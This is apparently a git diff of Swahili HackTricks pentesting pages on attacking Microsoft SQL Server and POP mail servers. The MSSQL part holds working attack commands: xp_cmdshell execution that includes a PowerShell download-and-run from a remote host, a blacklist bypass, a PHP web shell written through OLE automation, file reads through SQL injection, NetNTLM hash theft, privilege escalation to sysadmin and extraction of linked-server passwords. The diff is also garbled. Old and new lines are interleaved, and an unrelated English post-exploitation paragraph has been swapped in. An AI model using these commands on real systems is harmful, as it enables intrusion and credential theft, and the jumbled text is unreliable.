> **Microsoft SQL Server** ni **mfumo wa usimamizi wa database** wa uhusiano ulioundwa na Microsoft. Kama seva ya database, ni bidhaa ya programu yenye kazi kuu ya kuhifadhi na kurejesha data kama inavyotakiwa na programu nyingine—ambazo zinaweza kukimbia kwenye kompyuta ile ile au kwenye kompyuta nyingine kupitia mtandao (ikiwa ni pamoja na Mtandao).
|
||||
> **Microsoft SQL Server** ni **mfumo wa usimamizi wa database** wa uhusiano ulioundwa na Microsoft. Kama seva ya database, ni bidhaa ya programu yenye kazi kuu ya kuhifadhi na kurejesha data kama inavyotakiwa na programu nyingine—ambazo zinaweza kukimbia kwenye kompyuta ile ile au kwenye kompyuta nyingine kwenye mtandao (ikiwa ni pamoja na Mtandao).
|
||||
|
||||
**Bandari ya chaguo:** 1433
|
||||
**Bandari ya default:** 1433
|
||||
```
|
||||
1433/tcp open ms-sql-s Microsoft SQL Server 2017 14.00.1000.00; RTM
|
||||
```
|
||||
### **Majedwali ya Mfumo wa MS-SQL ya Kimsingi**
|
||||
|
||||
* **Database ya msingi**: Hii ni database muhimu kwani inakamata maelezo yote ya kiwango cha mfumo kwa kifaa cha SQL Server.
|
||||
* **Database ya msingi**: Hii ni database muhimu kwani inakamata maelezo yote ya kiwango cha mfumo kwa kipengee cha SQL Server.
|
||||
* **Database ya msdb**: SQL Server Agent hutumia database hii kusimamia ratiba za tahadhari na kazi.
|
||||
* **Database ya mfano**: Inafanya kazi kama kielelezo kwa kila database mpya kwenye kifaa cha SQL Server, ambapo mabadiliko yoyote kama vile ukubwa, usanidi, mfano wa kupona, na zaidi yanafanana katika databases zilizoundwa hivi karibuni.
|
||||
* **Database ya Rasilimali**: Database isiyoweza kuhaririwa ambayo inahifadhi vitu vya mfumo vinavyokuja na SQL Server. Vitu hivi, ingawa vimehifadhiwa kimwili kwenye database ya Rasilimali, kwa mantiki vinawakilishwa kwenye schema ya sys ya kila database.
|
||||
* **Database ya mfano**: Inafanya kazi kama kielelezo kwa kila database mpya kwenye kipengee cha SQL Server, ambapo mabadiliko yoyote kama ukubwa, usanidi, mfano wa kupona, na zaidi yanafanana katika databases zilizoundwa hivi karibuni.
|
||||
* **Database ya Rasilimali**: Database isiyoweza kuhaririwa ambayo ina vitu vya mfumo vinavyokuja na SQL Server. Vitu hivi, ingawa vimehifadhiwa kimwili kwenye database ya Rasilimali, kwa mantiki vinaonyeshwa kwenye schema ya sys ya kila database.
|
||||
* **Database ya tempdb**: Inafanya kama eneo la kuhifadhi la muda kwa vitu vya muda au seti za matokeo ya kati.
|
||||
|
||||
|
||||
## Uorodheshaji
|
||||
## Uchambuzi
|
||||
|
||||
### Uorodheshaji wa Kiotomatiki
|
||||
### Uchambuzi wa Kiotomatiki
|
||||
|
||||
Ikiwa hujui chochote kuhusu huduma:
|
||||
```bash
|
||||
|
@ -88,7 +88,7 @@ msf> use windows/manage/mssql_local_auth_bypass
|
|||
```
|
||||
### [**Kujaribu nguvu**](../../generic-methodologies-and-resources/brute-force.md#sql-server)
|
||||
|
||||
### Uchunguzi wa Mikono
|
||||
### Uchambuzi wa Mikono
|
||||
|
||||
#### Kuingia
|
||||
```bash
|
||||
|
@ -153,16 +153,16 @@ SELECT * FROM sysusers
|
|||
```
|
||||
#### Pata Ruhusa
|
||||
|
||||
1. **Inayoweza Kusimbwa:** Imetajwa kama rasilimali zinazosimamiwa na SQL Server kwa ajili ya kudhibiti ufikiaji. Hizi hugawanywa katika makundi yafuatayo:
|
||||
- **Server** - Mifano ni pamoja na maktaba za data, logins, endpoints, vikundi vya upatikanaji, na majukumu ya server.
|
||||
- **Database** - Mifano hujumuisha majukumu ya maktaba ya data, majukumu ya programu, schema, vyeti, katalogi za maandishi kamili, na watumiaji.
|
||||
1. **Inayoweza Kusimbwa:** Imetajwa kama rasilimali zinazosimamiwa na SQL Server kwa ajili ya kudhibiti ufikiaji. Hizi hugawanywa katika:
|
||||
- **Server** - Mifano ni pamoja na maktaba za data, logins, endpoints, vikundi vya upatikanaji, na majukumu ya seva.
|
||||
- **Database** - Mifano hujumuisha jukumu la maktaba ya data, majukumu ya programu, schema, vyeti, katalogi za maandishi kamili, na watumiaji.
|
||||
- **Schema** - Inajumuisha meza, maoni, taratibu, kazi, visawe, n.k.
|
||||
|
||||
2. **Ruhusa:** Zinahusishwa na inayoweza kusimbwa ya SQL Server, ruhusa kama vile ALTER, CONTROL, na CREATE zinaweza kutolewa kwa mada. Usimamizi wa ruhusa hufanyika katika viwango viwili:
|
||||
- **Viwango vya Server** kwa kutumia logins
|
||||
- **Viwango vya Database** kwa kutumia watumiaji
|
||||
2. **Ruhusa:** Zinahusishwa na inayoweza kusimbwa ya SQL Server, ruhusa kama vile ALTER, CONTROL, na CREATE zinaweza kutolewa kwa mkuu. Usimamizi wa ruhusa hufanyika katika viwango viwili:
|
||||
- **Viwango vya Seva** kwa kutumia logins
|
||||
- **Viwango vya Maktaba ya Data** kwa kutumia watumiaji
|
||||
|
||||
3. **Mada:** Istilahi hii inahusu kwa kifupi kwa kifaa ambacho kimetolewa ruhusa ya inayoweza kusimbwa. Madaraka kuu yanajumuisha logins na watumiaji wa maktaba ya data. Udhibiti wa ufikiaji wa inayoweza kusimbwa hufanywa kupitia kutoa au kukataa ruhusa au kwa kuwaingiza logins na watumiaji katika majukumu yenye haki za ufikiaji.
|
||||
3. **Mkuu:** Istilahi hii inahusu kifaa ambacho kimetolewa ruhusa ya inayoweza kusimbwa. Wakuu kwa kiasi kikubwa ni pamoja na logins na watumiaji wa maktaba ya data. Udhibiti wa ufikiaji wa inayoweza kusimbwa hufanywa kupitia kutoa au kukataa ruhusa au kwa kujumuisha logins na watumiaji katika majukumu yenye haki za ufikiaji.
|
||||
```sql
|
||||
# Show all different securables names
|
||||
SELECT distinct class_desc FROM sys.fn_builtin_permissions(DEFAULT);
|
||||
|
@ -187,7 +187,7 @@ EXEC sp_helprotect 'xp_cmdshell'
|
|||
### Tekeleza Amri za OS
|
||||
|
||||
{% hint style="danger" %}
|
||||
Tafadhali kumbuka kwamba ili uweze kutekeleza amri, siyo tu ni muhimu kuwa na **`xp_cmdshell`** **imezimwa**, bali pia kuwa na **ruhusa ya KUTEKELEZA kwa utaratibu wa kuhifadhi wa `xp_cmdshell`**. Unaweza kupata ni nani (isipokuwa sysadmins) wanaweza kutumia **`xp_cmdshell`** na:
|
||||
Tafadhali kumbuka kwamba ili uweze kutekeleza amri, siyo tu ni muhimu kuwa na **`xp_cmdshell`** **imezimwa**, bali pia kuwa na **ruhusa ya KUTEKELEZA kwenye taratibu iliyohifadhiwa ya `xp_cmdshell`**. Unaweza kupata ni nani (isipokuwa sysadmins) wanaweza kutumia **`xp_cmdshell`** na:
|
||||
```sql
|
||||
Use master
|
||||
EXEC sp_helprotect 'xp_cmdshell'
|
||||
|
@ -220,7 +220,7 @@ EXEC xp_cmdshell 'echo IEX(New-Object Net.WebClient).DownloadString("http://10.1
|
|||
# Bypass blackisted "EXEC xp_cmdshell"
|
||||
'; DECLARE @x AS VARCHAR(100)='xp_cmdshell'; EXEC @x 'ping k7s3rpqn8ti91kvy0h44pre35ublza.burpcollaborator.net' —
|
||||
```
|
||||
### Pora hashi ya NetNTLM / Shambulio la kusambaza
|
||||
### Pora Hashi ya NetNTLM / Shambulio la Kurelayi
|
||||
|
||||
Unapaswa kuanzisha **seva ya SMB** ili kukamata hashi inayotumiwa katika uwakiki (`impacket-smbserver` au `responder` kwa mfano).
|
||||
```bash
|
||||
|
@ -253,7 +253,7 @@ Unaweza kuona jinsi ya kutumia zana hizi katika:
|
|||
|
||||
### Kutumia Viungo Vilivyothibitishwa vya MSSQL
|
||||
|
||||
[**Soma chapisho hili**](../../windows-hardening/active-directory-methodology/abusing-ad-mssql.md) **ili kupata maelezo zaidi kuhusu jinsi ya kutumia kipengele hiki:**
|
||||
[**Soma chapisho hili**](../../windows-hardening/active-directory-methodology/abusing-ad-mssql.md) **ili kupata habari zaidi kuhusu jinsi ya kutumia kipengele hiki:**
|
||||
|
||||
{% content-ref url="../../windows-hardening/active-directory-methodology/abusing-ad-mssql.md" %}
|
||||
[abusing-ad-mssql.md](../../windows-hardening/active-directory-methodology/abusing-ad-mssql.md)
|
||||
|
@ -261,7 +261,7 @@ Unaweza kuona jinsi ya kutumia zana hizi katika:
|
|||
|
||||
### **Andika Faili**
|
||||
|
||||
Kuandika faili kwa kutumia `MSSQL`, **tunahitaji kuwezesha** [**Taratibu za Ole Automation**](https://docs.microsoft.com/en-us/sql/database-engine/configure-windows/ole-automation-procedures-server-configuration-option), ambayo inahitaji mamlaka ya msimamizi, na kisha kutekeleza taratibu zilizohifadhiwa ili kuunda faili:
|
||||
Kuandika faili kwa kutumia `MSSQL`, tunahitaji **kuwezesha** [**Taratibu za Ole Automation**](https://docs.microsoft.com/en-us/sql/database-engine/configure-windows/ole-automation-procedures-server-configuration-option), ambayo inahitaji mamlaka ya msimamizi, na kisha kutekeleza taratibu zilizohifadhiwa ili kuunda faili:
|
||||
```bash
|
||||
# Enable Ole Automation Procedures
|
||||
sp_configure 'show advanced options', 1
|
||||
|
@ -279,18 +279,18 @@ EXECUTE sp_OAMethod @FileID, 'WriteLine', Null, '<?php echo shell_exec($_GET["c"
|
|||
EXECUTE sp_OADestroy @FileID
|
||||
EXECUTE sp_OADestroy @OLE
|
||||
```
|
||||
### **Soma faili na** OPENROWSET
|
||||
### **Soma faili kwa** OPENROWSET
|
||||
|
||||
Kwa chaguo-msingi, `MSSQL` inaruhusu **kusoma faili yoyote katika mfumo wa uendeshaji ambao akaunti ina ufikiaji wa kusoma**. Tunaweza kutumia swali la SQL lifuatalo:
|
||||
Kwa chaguo-msingi, `MSSQL` inaruhusu faili **kusomwa kwenye faili yoyote kwenye mfumo wa uendeshaji ambao akaunti ina ufikiaji wa kusoma**. Tunaweza kutumia swali la SQL lifuatalo:
|
||||
```sql
|
||||
SELECT * FROM OPENROWSET(BULK N'C:/Windows/System32/drivers/etc/hosts', SINGLE_CLOB) AS Contents
|
||||
```
|
||||
Hata hivyo, chaguo la **`BULK`** linahitaji ruhusa ya **`ADMINISTER BULK OPERATIONS`** au **`ADMINISTER DATABASE BULK OPERATIONS`**.
|
||||
Hata hivyo, chaguo la **`BULK`** linahitaji idhini ya **`ADMINISTER BULK OPERATIONS`** au idhini ya **`ADMINISTER DATABASE BULK OPERATIONS`**.
|
||||
```sql
|
||||
# Check if you have it
|
||||
SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='ADMINISTER BULK OPERATIONS' OR permission_name='ADMINISTER DATABASE BULK OPERATIONS';
|
||||
```
|
||||
#### Kosa-msingi wa vector kwa SQLi:
|
||||
#### Kosa-msingi wa kuingiza kwa SQLi:
|
||||
```
|
||||
https://vuln.app/getItem?id=1+and+1=(select+x+from+OpenRowset(BULK+'C:\Windows\win.ini',SINGLE_CLOB)+R(x))--
|
||||
```
|
||||
|
@ -318,7 +318,7 @@ GO
|
|||
```
|
||||
### Soma Usajili
|
||||
|
||||
Microsoft SQL Server hutoa **taratibu nyingi za kuhifadhi zilizopanuliwa** ambazo kuruhusu wewe kuingiliana si tu na mtandao bali pia na mfumo wa faili na hata [**Usajili wa Windows**](https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server)**:**
|
||||
Microsoft SQL Server hutoa **taratibu nyingi za kuhifadhi zilizopanuliwa** ambazo kuruhusu wewe kuingiliana si tu na mtandao bali pia na mfumo wa faili na hata [**Usajili wa Windows**](https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/)**:**
|
||||
|
||||
| **Kawaida** | **Inayotambua-Instance** |
|
||||
| ---------------------------- | -------------------------------------- |
|
||||
|
@ -351,13 +351,14 @@ Inawezekana **kupakia dll ya .NET ndani ya MSSQL na kazi za desturi**. Hata hivy
|
|||
|
||||
### Njia Nyingine za RCE
|
||||
|
||||
Kuna njia nyingine za kupata utekelezaji wa amri, kama vile kuongeza [taratibu za kuhifadhiwa zilizoziduliwa](https://docs.microsoft.com/en-us/sql/relational-databases/extended-stored-procedures-programming/adding-an-extended-stored-procedure-to-sql-server), [Mkusanyiko wa CLR](https://docs.microsoft.com/en-us/dotnet/framework/data/adonet/sql/introduction-to-sql-server-clr-integration), [Kazi za SQL Server Agent](https://docs.microsoft.com/en-us/sql/ssms/agent/schedule-a-job?view=sql-server-ver15), na [maandishi ya nje](https://docs.microsoft.com/en-us/sql/relational-databases/system-stored-procedures/sp-execute-external-script-transact-sql).
|
||||
Kuna njia nyingine za kupata utekelezaji wa amri, kama vile kuongeza [taratibu za kuhifadhiwa zilizopanuliwa](https://docs.microsoft.com/en-us/sql/relational-databases/extended-stored-procedures-programming/adding-an-extended-stored-procedure-to-sql-server), [Mkusanyiko wa CLR](https://docs.microsoft.com/en-us/dotnet/framework/data/adonet/sql/introduction-to-sql-server-clr-integration), [Kazi za SQL Server Agent](https://docs.microsoft.com/en-us/sql/ssms/agent/schedule-a-job?view=sql-server-ver15), na [maandishi ya nje](https://docs.microsoft.com/en-us/sql/relational-databases/system-stored-procedures/sp-execute-external-script-transact-sql).
|
||||
|
||||
|
||||
## Ukarabati wa Mamlaka wa MSSQL
|
||||
|
||||
### Kutoka db\_owner hadi sysadmin
|
||||
|
||||
Ikiwa **mtumiaji wa kawaida** anapewa jukumu la **`db_owner`** juu ya **database iliyo milikiwa na mtumiaji wa admin** (kama vile **`sa`**) na hiyo database imeboreshwa kama **`trustworthy`**, mtumiaji huyo anaweza kutumia mamlaka haya kwa **privesc** kwa sababu **taratibu zilizohifadhiwa** zilizoundwa hapo zinaweza **kutekelezwa** kama mmiliki (**admin**).
|
||||
Ikiwa **mtumiaji wa kawaida** anapewa jukumu la **`db_owner`** juu ya **database iliyo milikiwa na mtumiaji wa admin** (kama vile **`sa`**) na database hiyo imeboreshwa kama **`trustworthy`**, mtumiaji huyo anaweza kutumia mamlaka haya kwa **privesc** kwa sababu taratibu zilizohifadhiwa zilizoundwa hapo zinaweza **kutekelezwa** kama mmiliki (**admin**).
|
||||
```sql
|
||||
# Get owners of databases
|
||||
SELECT suser_sname(owner_sid) FROM sys.databases
|
||||
|
@ -419,7 +420,7 @@ SELECT SYSTEM_USER
|
|||
SELECT IS_SRVROLEMEMBER('sysadmin')
|
||||
```
|
||||
{% hint style="info" %}
|
||||
Ikiwa unaweza kujifanya kuwa mtumiaji, hata kama si sysadmin, unapaswa kuangalia **i**ki mtumiaji ana **upatikanaji** wa **databases** au seva zilizounganishwa.
|
||||
Ikiwa unaweza kujifanya kuwa mtumiaji, hata kama yeye si sysadmin, unapaswa kuangalia **kama mtumiaji ana ufikiaji** wa **databases** au seva zilizounganishwa.
|
||||
{% endhint %}
|
||||
|
||||
Tafadhali kumbuka kwamba mara tu unapokuwa sysadmin unaweza kujifanya kuwa mtumiaji mwingine yeyote:
|
||||
|
@ -432,7 +433,7 @@ SELECT IS_SRVROLEMEMBER('sysadmin')
|
|||
-- Change back to sa
|
||||
REVERT
|
||||
```
|
||||
Unaweza kutekeleza shambulio hili kwa moduli ya **metasploit**:
|
||||
Unaweza kutekeleza shambulio hili kwa kutumia moduli ya **metasploit**:
|
||||
```bash
|
||||
msf> auxiliary/admin/mssql/mssql_escalate_execute_as
|
||||
```
|
||||
|
@ -446,30 +447,30 @@ Invoke-SqlServer-Escalate-ExecuteAs -SqlServerInstance 10.2.9.101 -SqlUser myuse
|
|||
|
||||
[https://blog.netspi.com/sql-server-persistence-part-1-startup-stored-procedures/](https://blog.netspi.com/sql-server-persistence-part-1-startup-stored-procedures/)
|
||||
|
||||
## Kuchambua Nywila kutoka kwa Seva za SQL zilizounganishwa
|
||||
Mshambuliaji anaweza kuchambua nywila za Seva za SQL zilizounganishwa kutoka kwa Mifano ya SQL na kuzipata kwa maandishi wazi, hivyo kumpa mshambuliaji nywila ambazo zinaweza kutumika kupata msingi mkubwa zaidi kwenye lengo.
|
||||
Script ya kuchambua na kufichua nywila zilizohifadhiwa kwa Seva zilizounganishwa inaweza kupatikana [hapa](https://www.richardswinbank.net/admin/extract_linked_server_passwords)
|
||||
## Kuchambua Nywila kutoka kwa Seva za SQL Server Zilizounganishwa
|
||||
Mshambuliaji anaweza kuchambua nywila za Seva za SQL Zilizounganishwa kutoka kwa Mifano ya SQL na kuzipata kwa maandishi wazi, hivyo kupatia mshambuliaji nywila ambazo zinaweza kutumika kupata msingi mkubwa zaidi kwenye lengo.
|
||||
Script ya kuchambua na kufichua nywila zilizohifadhiwa kwa Seva Zilizounganishwa inaweza kupatikana [hapa](https://www.richardswinbank.net/admin/extract_linked_server_passwords)
|
||||
|
||||
Baadhi ya mahitaji na mipangilio lazima ifanywe ili kashfa hii ifanye kazi.
|
||||
Baadhi ya mahitaji na mipangilio lazima ifanywe ili shambulio hili lifanye kazi.
|
||||
Kwanza kabisa, lazima uwe na Haki za Msimamizi kwenye mashine, au uwezo wa kusimamia Mipangilio ya Seva ya SQL.
|
||||
|
||||
Baada ya kuthibitisha ruhusa zako, unahitaji kusanidi mambo matatu, ambayo ni haya yafuatayo:
|
||||
1. Wezesha TCP/IP kwenye mifano ya SQL Server;
|
||||
2. Ongeza Parameter ya Kuanza, katika kesi hii, bendera ya kufuatilia itaongezwa, ambayo ni -T7806.
|
||||
3. Wezesha uunganisho wa msimamizi wa mbali.
|
||||
2. Ongeza Parameta ya Kuanza, katika kesi hii, bendera ya kufuatilia itaongezwa, ambayo ni -T7806.
|
||||
3. Wezesha uhusiano wa msimamizi wa mbali.
|
||||
|
||||
Ili kiotomatiki mipangilio hii, [hii repo](https://github.com/IamLeandrooooo/SQLServerLinkedServersPasswords/) ina hati zinazohitajika.
|
||||
Mbali na kuwa na hati ya powershell kwa kila hatua ya usanidi, repo hiyo pia ina hati kamili ambayo inachanganya hati za usanidi na uchimbaji na ufichuaji wa nywila.
|
||||
Ili kiotomatiki mipangilio hii, [repo hii](https://github.com/IamLeandrooooo/SQLServerLinkedServersPasswords/) ina hati zinazohitajika.
|
||||
Mbali na kuwa na hati ya powershell kwa kila hatua ya usanidi, repo pia ina hati kamili ambayo inachanganya hati za usanidi na uchambuzi na ufichuaji wa nywila.
|
||||
|
||||
Kwa habari zaidi, tazama viungo vifuatavyo kuhusu shambulio hili:
|
||||
[Ufichuaji wa Nywila za Seva za Link za Database za MSSQL](https://www.netspi.com/blog/technical/adversary-simulation/decrypting-mssql-database-link-server-passwords/)
|
||||
|
||||
[Kutatua Matatizo ya Uunganisho wa Msimamizi wa Kujitolea wa SQL Server](https://www.mssqltips.com/sqlservertip/5364/troubleshooting-the-sql-server-dedicated-administrator-connection/)
|
||||
[Kutatua Matatizo ya Uhusiano wa Msimamizi wa Kujitolea wa SQL Server](https://www.mssqltips.com/sqlservertip/5364/troubleshooting-the-sql-server-dedicated-administrator-connection/)
|
||||
|
||||
## Kupandisha Hadhi ya Mamlaka ya Kienyeji
|
||||
|
||||
Mtumiaji anayeendesha seva ya MSSQL atakuwa amewezesha token ya mamlaka **SeImpersonatePrivilege.**\
|
||||
Huenda utaweza **kupanda hadhi hadi Msimamizi** kufuatia moja ya kurasa hizi 2:
|
||||
Huenda utaweza **kupanda hadhi hadi Msimamizi** kufuata moja ya kurasa hizi 2:
|
||||
|
||||
{% content-ref url="../../windows-hardening/windows-local-privilege-escalation/roguepotato-and-printspoofer.md" %}
|
||||
[roguepotato-and-printspoofer.md](../../windows-hardening/windows-local-privilege-escalation/roguepotato-and-printspoofer.md)
|
||||
|
@ -494,7 +495,7 @@ Huenda utaweza **kupanda hadhi hadi Msimamizi** kufuatia moja ya kurasa hizi 2:
|
|||
* [https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/](https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/)
|
||||
**Kikundi cha Usalama cha Kujaribu Kwa Bidii**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
|
@ -564,7 +565,7 @@ Njia nyingine za kusaidia HackTricks:
|
|||
|
||||
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
||||
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa kipekee wa [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Shiriki mbinu zako za kuhack kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
|
||||
|
|
|
@ -1,20 +1,20 @@
|
|||
# 110,995 - Kupima Usalama wa POP
|
||||
# 110,995 - Kujaribu POP
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* Je, unafanya kazi katika **kampuni ya usalama wa mtandao**? Unataka kuona **kampuni yako ikitangazwa kwenye HackTricks**? au unataka kupata upatikanaji wa **toleo jipya zaidi la PEASS au kupakua HackTricks kwa PDF**? Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
||||
* Je, unafanya kazi katika **kampuni ya usalama wa mtandao**? Unataka kuona **kampuni yako ikitangazwa kwenye HackTricks**? au unataka kupata upatikanaji wa **toleo jipya zaidi la PEASS au kupakua HackTricks kwa PDF**? Angalia [**MIPANGO YA USAJILI**](https://github.com/sponsors/carlospolop)!
|
||||
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
|
||||
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Jiunge na** [**💬**](https://emojipedia.org/speech-balloon/) [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **nifuata** kwenye **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* Pata [**swagi rasmi ya PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Jiunge na** [**💬**](https://emojipedia.org/speech-balloon/) [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **fuata** kwenye **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwa** [**repo ya hacktricks**](https://github.com/carlospolop/hacktricks) **na** [**repo ya hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
**Kikundi cha Usalama cha Kujaribu Kwa Bidii**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
|
@ -22,9 +22,9 @@
|
|||
|
||||
## Taarifa Msingi
|
||||
|
||||
**Itifaki ya Posta ya Ofisi (POP)** inaelezwa kama itifaki ndani ya uwanja wa uunganishaji wa kompyuta na Mtandao, ambayo hutumiwa kwa ajili ya kutoa na **kupata barua pepe kutoka kwenye seva ya barua pepe ya mbali**, ikifanya iwezekane kufikia kwenye kifaa cha ndani. Iliyowekwa ndani ya safu ya maombi ya mfano wa OSI, itifaki hii inawezesha watumiaji kupata na kupokea barua pepe. Uendeshaji wa **wateja wa POP** kawaida unajumuisha kuanzisha uhusiano na seva ya barua pepe, kupakua ujumbe wote, kuhifadhi ujumbe huu kwa kifaa cha mteja, na kisha kuuondoa kutoka kwenye seva. Ingawa kuna matoleo matatu ya itifaki hii, **POP3** inajulikana zaidi kwa kutumika sana.
|
||||
**Itifaki ya Posta ya Ofisi (POP)** inaelezwa kama itifaki ndani ya uwanja wa uunganishaji wa kompyuta na Mtandao, ambayo hutumiwa kwa ajili ya kutoa na **kupata barua pepe kutoka kwenye seva ya barua pepe ya mbali**, ikifanya iwezekane kufikika kwenye kifaa cha ndani. Iliyowekwa ndani ya safu ya maombi ya mfano wa OSI, itifaki hii inawezesha watumiaji kupata na kupokea barua pepe. Uendeshaji wa **wateja wa POP** kawaida unajumuisha kuanzisha uhusiano na seva ya barua pepe, kupakua ujumbe wote, kuhifadhi ujumbe huu kwa kifaa cha mteja, na kisha kuuondoa kutoka kwenye seva. Ingawa kuna matoleo matatu ya itifaki hii, **POP3** inajulikana zaidi kama toleo linalotumiwa sana.
|
||||
|
||||
**Bandari za msingi:** 110, 995(ssl)
|
||||
**Bandari za chaguo-msingi:** 110, 995(ssl)
|
||||
```
|
||||
PORT STATE SERVICE
|
||||
110/tcp open pop3
|
||||
|
@ -44,9 +44,9 @@ Unaweza kutumia amri `CAPA` kupata uwezo wa seva ya POP3.
|
|||
```bash
|
||||
nmap --script "pop3-capabilities or pop3-ntlm-info" -sV -port <PORT> <IP> #All are default scripts
|
||||
```
|
||||
Plugini ya `pop3-ntlm-info` itarudisha baadhi ya data "**nyeti**" (toleo za Windows).
|
||||
Plugin ya `pop3-ntlm-info` itarudisha baadhi ya data "**nyeti**" (toleo la Windows).
|
||||
|
||||
### [POP3 nguvu ya kutumia nguvu](../generic-methodologies-and-resources/brute-force.md#pop)
|
||||
### [POP3 kuvunja nguvu](../generic-methodologies-and-resources/brute-force.md#pop)
|
||||
|
||||
## POP syntax
|
||||
|
||||
|
@ -64,9 +64,15 @@ QUIT Logout (expunges messages if no RSET)
|
|||
TOP msg n Show first n lines of message number msg
|
||||
CAPA Get capabilities
|
||||
```
|
||||
### Post Office Protocol (POP)
|
||||
### Post-Exploitation
|
||||
|
||||
POP is a protocol used by email clients to retrieve emails from a mail server. During a penetration test, you can attempt to retrieve emails from a target's mail server using tools like `telnet` or dedicated email clients configured to use POP. This can potentially expose sensitive information such as login credentials or confidential data.
|
||||
Post-exploitation is the phase where an attacker performs various tasks on a compromised system after successfully exploiting it. This phase is crucial for maintaining access, escalating privileges, and exfiltrating sensitive data. Some common post-exploitation activities include:
|
||||
|
||||
- **Maintaining Access**: Attackers may install backdoors or create new accounts to ensure persistent access to the compromised system.
|
||||
- **Privilege Escalation**: Attackers may attempt to elevate their privileges on the system to gain access to more sensitive information or perform more damaging actions.
|
||||
- **Data Exfiltration**: Attackers may steal sensitive data from the compromised system, such as user credentials, financial information, or intellectual property.
|
||||
|
||||
Post-exploitation activities are critical for achieving the attacker's goals and can be challenging to detect since they occur after the initial compromise. Security teams must be vigilant in monitoring for post-exploitation activities to prevent further damage to the system and data.
|
||||
```
|
||||
root@kali:~# telnet $ip 110
|
||||
+OK beta POP3 server (JAMES POP3 Server 2.3.2) ready
|
||||
|
@ -98,14 +104,14 @@ Kutoka [https://academy.hackthebox.com/module/112/section/1073](https://academy.
|
|||
| **Mipangilio** | **Maelezo** |
|
||||
| ------------------------- | ----------------------------------------------------------------------------------------- |
|
||||
| `auth_debug` | Inawezesha kuingiza kumbukumbu zote za upelelezi wa uthibitishaji. |
|
||||
| `auth_debug_passwords` | Mipangilio hii inabadilisha kiasi cha kuingiza kumbukumbu, nywila zilizowasilishwa, na mpango unaoingizwa. |
|
||||
| `auth_debug_passwords` | Mipangilio hii inabadilisha kuingiza kwa undani, nywila zilizowasilishwa, na mpango unapata kuingizwa. |
|
||||
| `auth_verbose` | Kuingiza jaribio lisilofanikiwa la uthibitishaji na sababu zake. |
|
||||
| `auth_verbose_passwords` | Nywila zilizotumiwa kwa uthibitishaji zinaingizwa na pia zinaweza kukatwa. |
|
||||
| `auth_anonymous_username` | Hii inabainisha jina la mtumiaji litakalotumiwa wakati wa kuingia kwa kutumia mbinu ya ANONYMOUS SASL. |
|
||||
|
||||
**Kikundi cha Usalama cha Kujaribu Kwa Bidii**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
|
@ -155,7 +161,7 @@ Command: msfconsole -q -x 'use auxiliary/scanner/pop3/pop3_version; set RHOSTS {
|
|||
<summary><strong>Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
|
||||
